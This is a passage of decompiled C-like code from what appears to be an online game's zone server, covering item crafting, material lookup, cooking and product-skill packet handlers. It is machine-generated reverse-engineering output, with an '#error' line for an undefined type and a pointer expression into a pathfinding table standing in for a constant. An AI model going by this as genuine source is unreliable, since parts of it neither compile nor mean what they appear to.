(int)v1->ip_ItemLock; uii = &ibii; LOBYTE(v35) = 1; v25 = v10; v26 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { do { v11 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( v11 != 0 ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v11 + 112) + 24))(v11 + 8); if ( v12 + v1->ip_Skill->productlot <= v3->data->MaxLot ) { v1->ip_Product.cell = (ItemInventoryCell *)v11; memcpy(&v1->ip_Product.iti, (const void *)v11, sizeof(v1->ip_Product.iti)); v16 = v1->ip_Skill; v1->ip_Product.iac = *(ItemAttributeClass **)(v11 + 112); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v11 + 112) + 28))( &v1->ip_Product.iti.iti_itemstruct, v12 + v16->productlot); v17 = uii[2]; v1->ip_Product.iscreated = 0; ibii = (int)&ItemBoxIterator::_vftable_; goto LABEL_17; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ : Invalid cell", 0); } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); } v13 = v1->ip_ChargedEffectContainer; v14 = (int)v1->ip_Inventory; LOBYTE(v35) = 0; ibie = (int)&ItemBoxIterator::_vftable_; v29 = v14; if ( v13 ) v15 = (*(int (__stdcall **)(ChargedEffectContainer *))(*(_DWORD *)v14 + 4))(v13); else v15 = (*(int (**)(void))(*(_DWORD *)v14 + 8))(); v30 = v15; ibie = (int)&ItemBoxIterEmpty::_vftable_; v18 = v1->ip_ItemLock; thisa.uii_Iterator = (ItemBoxIterator *)&ibie; LOBYTE(v35) = 2; thisa.uii_LockList = v18; thisa.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&thisa) ) { v1->ip_Product.cell = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))thisa.uii_Iterator->ibi_itembag)(thisa.uii_Iterator->ibi_finger); v19 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v20 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&v1->ip_Product.iti, v1->ip_Skill->product, 8, v20->nZoneNo, v19); v21 = v1->ip_Skill; v1->ip_Product.iti.iti_itemstruct.itemid = v21->product; v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, v21->product); v22->vfptr->iac_SetLot(v22, &v1->ip_Product.iti.iti_itemstruct, v1->ip_Skill->productlot); v23 = thisa.uii_Iterator; v1->ip_Product.iac = v22; v17 = v23->ibi_finger; v1->ip_Product.iscreated = 1; ibie = (int)&ItemBoxIterator::_vftable_; LABEL_17: v1->ip_Product.slot = v17; --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2817; } else { --funcallanalizer.fca_stackpoint; ibie = (int)&ItemBoxIterator::_vftable_; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2826; } } else { AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_WhereProductStore : Invalid Item", v4->product); --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_WhereProductStore"); result = 2819; } return result; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0045AA60) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_FindRaw(ItemProducer *this, unsigned __int16 raw, int quantity) { ItemProducer *v3; // ebx@1 int v4; // ecx@1 int v5; // edi@1 int v6; // edx@1 int v7; // eax@1 int v9; // ebp@4 int v10; // eax@6 int v11; // ecx@6 int v12; // edx@7 int v13; // edx@7 int v14; // edi@8 int *uii; // [sp+14h] [bp-2Ch]@1 int v16; // [sp+18h] [bp-28h]@1 int v17; // [sp+1Ch] [bp-24h]@1 int ibii; // [sp+20h] [bp-20h]@1 int v19; // [sp+24h] [bp-1Ch]@1 int v20; // [sp+2Ch] [bp-14h]@1 unsigned __int16 v21; // [sp+30h] [bp-10h]@1 int v22; // [sp+3Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemProducer::ip_FindRaw"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)v3->ip_Inventory; v5 = (int)&ItemBoxIterator::_vftable_; ibii = (int)&ItemBoxIterator::_vftable_; v19 = v4; v6 = *(_DWORD *)v4; v22 = 0; v20 = (*(int (**)(void))(v6 + 8))(); ibii = (int)&ItemBoxIterIdent::_vftable_; v21 = raw; v7 = (int)v3->ip_ItemLock; uii = &ibii; LOBYTE(v22) = 1; v16 = v7; v17 = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2827; } while ( 1 ) { if ( v3->ip_RawNumber >= 0x40u ) { AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_FindRaw : Too many raws", 0); --funcallanalizer.fca_stackpoint; ibii = v5; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2827; } v9 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); if ( v9 != 0 ) break; AssertClass::ac_AssertFail(&shineassert, "ItemProducer::ip_Produce : Invalid cell", 0); LABEL_11: if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { ibii = v5; v22 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return (((quantity > 0) - 1) & 0xFFF6) + 2827; } } v10 = (*(int (__stdcall **)(int))(**(_DWORD **)(v9 + 112) + 24))(v9 + 8); v11 = v3->ip_RawNumber << 7; if ( v10 <= quantity ) { *(ItemAttributeClass **)((char *)&v3->ip_Raw[0].iac + v11) = 0; v14 = (int)&v3->ip_Raw[v3->ip_RawNumber].iti; memcpy((void *)v14, (const void *)v9, 0x6Cu); v14 += 108; *(_WORD *)v14 = *(_WORD *)(v9 + 108); *(_BYTE *)(v14 + 2) = *(_BYTE *)(v9 + 110); v3->ip_Raw[v3->ip_RawNumber].slot = uii[2]; v3->ip_Raw[v3->ip_RawNumber].cell = (ItemInventoryCell *)v9; v13 = quantity - v10; *(_DWORD *)&v3->ip_Raw[v3->ip_RawNumber].iscreated = v10; quantity -= v10; } else { memcpy((char *)&v3->ip_Raw[0].iti + v11, (const void *)v9, 0x6Fu); v3->ip_Raw[v3->ip_RawNumber].iac = *(ItemAttributeClass **)(v9 + 112); (*(void (__stdcall **)(SHINE_ITEM_STRUCT *, int))(**(_DWORD **)(v9 + 112) + 28))( &v3->ip_Raw[v3->ip_RawNumber].iti.iti_itemstruct, v10 - quantity); v3->ip_Raw[v3->ip_RawNumber].slot = uii[2]; v12 = quantity; v3->ip_Raw[v3->ip_RawNumber].cell = (ItemInventoryCell *)v9; quantity = 0; *(_DWORD *)&v3->ip_Raw[v3->ip_RawNumber].iscreated = v12; v13 = 0; } ++v3->ip_RawNumber; if ( v13 > 0 ) { v5 = (int)&ItemBoxIterator::_vftable_; goto LABEL_11; } --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemProducer::ip_FindRaw"); return 2817; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0045ADA0) -------------------------------------------------------- unsigned __int16 __thiscall ItemProducer::ip_ProduceCheck(ItemProducer *this) { ItemProducer *v1; // edi@1 unsigned __int16 result; // ax@1 unsigned int v3; // esi@2 GatherProduce::RecipeBook::ProductIndex *v4; // eax@3 unsigned __int16 v5; // cx@3 v1 = this; result = ItemProducer::ip_WhereProductStore(this); if ( result == 2817 ) { v3 = 0; v1->ip_RawNumber = 0; while ( 1 ) { v4 = v1->ip_Skill; v5 = v4->raw[v3].item; if ( v5 != -1 ) { result = ItemProducer::ip_FindRaw(v1, v5, v4->raw[v3].quantity); if ( result != 2817 ) break; } ++v3; if ( v3 >= 8 ) return 2817; } } return result; } //----- (0045AE00) -------------------------------------------------------- #error "45AE00: undefined or illegal type '#734' (funcsize=252)" //----- (0045B130) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemProduce(void *ecx0, unsigned __int16 skill) { void *v2; // esi@1 NETCOMMAND *v3; // ebx@1 char *v4; // edi@1 GatherProduce::RecipeBook::ProductIndex *v5; // eax@1 int v6; // eax@4 int v7; // edx@5 int v8; // eax@6 int v9; // eax@8 unsigned __int16 v10; // ax@9 int v11; // ecx@10 int v12; // eax@11 TotalMasteryType v13; // ST18_4@12 unsigned int v14; // eax@12 unsigned __int16 v15; // ax@13 signed int v16; // edx@14 char *v17; // eax@14 int v18; // ST04_4@14 int v19; // eax@14 char *v20; // eax@14 char v21; // al@14 int v22; // eax@15 int i; // edi@16 int v24; // ST18_4@22 char v25; // al@22 ZoneBaseSession *v26; // eax@23 int itemid; // [sp+10h] [bp-20C4h]@1 int lot; // [sp+14h] [bp-20C0h]@12 unsigned __int16 rateinfo; // [sp+18h] [bp-20BCh]@12 unsigned __int16 v30; // [sp+1Ah] [bp-20BAh]@14 unsigned __int16 v31; // [sp+1Ch] [bp-20B8h]@13 FunctionEntarance _; // [sp+20h] [bp-20B4h]@1 AxialListPacketBroadcast alchat; // [sp+24h] [bp-20B0h]@14 ItemProducer this; // [sp+30h] [bp-20A4h]@5 unsigned int v35; // [sp+20C4h] [bp-10h]@1 int v36; // [sp+20D0h] [bp-4h]@1 v2 = ecx0; v35 = (unsigned int)&itemid ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (NETCOMMAND *)gpp.pp_Buffer; v36 = 0; v4 = gpp.pp_Buffer + 2; v5 = GatherProduce::RecipeBook::operator__(&recipebook, skill); itemid = (int)v5; if ( !v5 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Invalid skill", skill); v3->protocol = 8251; *(_WORD *)v4 = -1; *((_WORD *)v4 + 1) = 2825; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", 6); } goto LABEL_21; } ItemProducer::ItemProducer(&this, (#734 *)v2, (ItemBag *)v2 + 8920, v5); v7 = *((_DWORD *)v2 + 14470); LOBYTE(v36) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(char *))(v7 + 20))((char *)v2 + 57880) ) { v8 = itemid; v3->protocol = 8251; *(_WORD *)v4 = *(_WORD *)(v8 + 4); *((_WORD *)v4 + 1) = 2826; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); goto LABEL_20; } LABEL_7: AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", 6); LABEL_20: LOBYTE(v36) = 0; ItemProducer::_ItemProducer(&this); LABEL_21: --funcallanalizer.fca_stackpoint; v36 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce"); goto LABEL_25; } v10 = ItemProducer::ip_ProduceCheck(&this); if ( v10 != 2817 ) { v11 = itemid; v3->protocol = 8251; *(_WORD *)v4 = *(_WORD *)(v11 + 4); *((_WORD *)v4 + 1) = v10; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v2, &gpp); goto LABEL_20; } goto LABEL_7; } v13 = *(_DWORD *)(*(_DWORD *)itemid + 394); lot = (int)((char *)v2 + 68496); v14 = CharaterSkillList::csl_GetProduceTotoalMastery((CharaterSkillList *)((char *)v2 + 68496), v13); if ( !ProdSucRateTable::GetRateInfo( (ProdSucRateTable::RateInfo *)&rateinfo, v14, *(_DWORD *)(*(_DWORD *)itemid + 398)) ) goto LABEL_20; v15 = RandomBox::rb_1000(&rndbox); if ( v15 >= v31 ) { v16 = (signed int)((unsigned __int64)(v30 * *((_WORD *)v2 + 71361) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; CharaterSkillList::csl_AddMastery((CharaterSkillList *)lot, (#734 *)v2, skill, v16 + ((unsigned int)v16 >> 31)); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8252; *((_WORD *)v17 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v17 + 2) = skill; *((_WORD *)v17 + 3) = 2838; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v18 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v36) = 2; v19 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v19, v18, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v36) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v20 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8251; *((_WORD *)v20 + 1) = skill; *((_WORD *)v20 + 2) = 2838; v21 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v21, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : Packet Too Long", 6) ) { v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v2, &gpp); } for ( i = 0; i < this.ip_RawNumber; ++i ) { if ( ItemProducer::ip_GetRawData(&this, i, (unsigned __int16 *)&itemid, &lot) ) ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, *((_WORD *)v2 + 2), itemid, lot, 0); } goto LABEL_20; } v3->protocol = 13399; *(_WORD *)v4 = *((_WORD *)v2 + 2); *(_DWORD *)(v4 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v24 = ItemProducer::ip_ProductExecute(&this, (#734 *)v2, v3, (PROTO_NC_ITEMDB_PRODUCE_REQ *)v4) + 2; v25 = ProtocolPacket::pp_SetPacketLen(&gpp, v24); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v25, "ShineObjectClass::ShinePlayer::smo_ply_ItemProduce : Packet Too Long", v24) ) { v26 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v26); } CharaterSkillList::csl_AddMastery( (CharaterSkillList *)lot, (#734 *)v2, skill, ((signed int)((unsigned __int64)(rateinfo * *((_WORD *)v2 + 71361) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(rateinfo * *((_WORD *)v2 + 71361) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); LOBYTE(v36) = 0; ItemProducer::_ItemProducer(&this); v36 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_25: __security_check_cookie((unsigned int)&itemid ^ v35); } //----- (0045B5C0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { int v3; // edx@1 void *v4; // esi@1 int v5; // eax@5 int v6; // eax@6 int v7; // ST14_4@7 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 char *v10; // eax@8 int v11; // ST04_4@8 int v12; // eax@8 char *v13; // eax@9 int v14; // eax@11 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@8 int v16; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v16 = 0; v4 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v3); if ( v4 && (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4) == *(_DWORD *)&netcmd[2].protocol && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 768))(v4) ) { if ( netcmd[6].protocol == 2817 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v6 + 32))( v6, v4, netcmd[4].protocol, 0) ) { v7 = netcmd[4].protocol; v8 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : "); v9 = DebugLogging::operator<<(v8, v7); DebugLogging::operator<<(v9, &deb_LF); } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8252; *((_WORD *)v10 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v10 + 2) = netcmd[5].protocol; *((_WORD *)v10 + 3) = netcmd[6].protocol; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 40))(v5, netcmd[4].protocol); } v13 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8251; *((_WORD *)v13 + 1) = netcmd[5].protocol; *((_WORD *)v13 + 2) = netcmd[6].protocol; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK"); } //----- (0045B7C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 char v6; // al@1 __int16 v7; // dx@1 signed int v8; // ebp@1 int v9; // eax@5 unsigned __int16 v10; // ax@6 int v11; // edx@11 char v12; // al@31 int v13; // eax@32 char v14; // al@33 int v15; // eax@34 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v17; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = _S21_2; *(_WORD *)gpp.pp_Buffer = 18467; v7 = *(_WORD *)(netcmd + 2); v8 = 0; v17 = 0; *((_WORD *)v5 + 1) = v7; if ( !(v6 & 1) ) { _S21_2 |= 1u; cmc_41.cmc_AllowMode = 22; atexit(_E22_2); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_41.cmc_AllowMode) ) { *((_WORD *)v5 + 2) = 2820; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_22: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); goto LABEL_23; } goto LABEL_16; } v10 = *(_WORD *)(netcmd + 2); v11 = v10 == skilldatabox.sdb_SpecSkill.ss_PortionProductMain || v10 == skilldatabox.sdb_SpecSkill.ss_ScrollProductMain || v10 == skilldatabox.sdb_SpecSkill.ss_StoneProductMain || v10 == skilldatabox.sdb_SpecSkill.ss_ResolveProductMain || v10 == skilldatabox.sdb_SpecSkill.ss_CompoundProductMain; if ( !v11 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : ProductField Error", v10); *((_WORD *)v5 + 2) = 2834; goto LABEL_15; } if ( CharaterSkillList::csl_IsLearn((CharaterSkillList *)((char *)v4 + 68496), v10) ) { *((_WORD *)v5 + 2) = 2835; goto LABEL_15; } if ( *((_BYTE *)v4 + 23353) & 8 ) { *((_WORD *)v5 + 2) = 2836; LABEL_15: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); goto LABEL_22; } LABEL_16: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6); LABEL_23: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ"); return; } if ( CharaterSkillList::csl_IsLearn( (CharaterSkillList *)((char *)v4 + 68496), skilldatabox.sdb_SpecSkill.ss_PortionProductMain) ) v8 = 1; if ( CharaterSkillList::csl_IsLearn( (CharaterSkillList *)((char *)v4 + 68496), skilldatabox.sdb_SpecSkill.ss_ScrollProductMain) ) ++v8; if ( CharaterSkillList::csl_IsLearn( (CharaterSkillList *)((char *)v4 + 68496), skilldatabox.sdb_SpecSkill.ss_StoneProductMain) ) ++v8; if ( v8 < *((_BYTE *)v4 + 142724) ) { *((_WORD *)v5 + 2) = 2817; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6) ) { v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } ShineObjectClass::ShinePlayer::sp_LearnProduceMainSkill(v4, *(_WORD *)(netcmd + 2)); } else { *((_WORD *)v5 + 2) = 2836; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ : Packet Too Long", 6) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } } v17 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0045BAA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3396))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CASTABORT_CMD"); } //----- (0045BB40) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_ProduceCastAbort() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::sp_ProduceCastAbort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::sp_ProduceCastAbort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::sp_ProduceCastAbort"); } //----- (0045BB80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ProduceCastAbort(void *this) { void *v1; // esi@1 char *v2; // eax@5 int v3; // ST04_4@5 int v4; // eax@5 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@5 int v6; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ProduceCastAbort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ProduceCastAbort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; if ( !(_S28_7 & 1) ) { _S28_7 |= 1u; cmc_42.cmc_AllowMode = 6; atexit(_E29_6); } if ( (1 << **((_BYTE **)v1 + 892)) & cmc_42.cmc_AllowMode && *((_DWORD *)v1 + 1796) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8292; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v3 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v6) = 1; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v4, v3, 0, 0, (int)&alchat, 1, 65535); *((_DWORD *)v1 + 1796) = 0; LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ProduceCastAbort"); } //----- (0045BCD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Cooking(void *ecx0, unsigned __int16 skill) { void *v2; // edi@1 NETCOMMAND *v3; // ebp@1 char *v4; // esi@1 GatherProduce::RecipeBook::ProductIndex *v5; // ebx@1 int v6; // eax@4 int v7; // edx@5 unsigned __int16 v8; // ax@7 int v9; // eax@11 int v10; // esi@12 ZoneBaseSession *v11; // eax@14 FunctionEntarance _; // [sp+10h] [bp-20A8h]@1 ItemProducer this; // [sp+14h] [bp-20A4h]@5 unsigned int v14; // [sp+20A8h] [bp-10h]@1 int v15; // [sp+20B4h] [bp-4h]@1 v2 = ecx0; v14 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ply_Cooking"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_Cooking"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_Cooking"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (NETCOMMAND *)gpp.pp_Buffer; v15 = 0; v4 = gpp.pp_Buffer + 2; v5 = 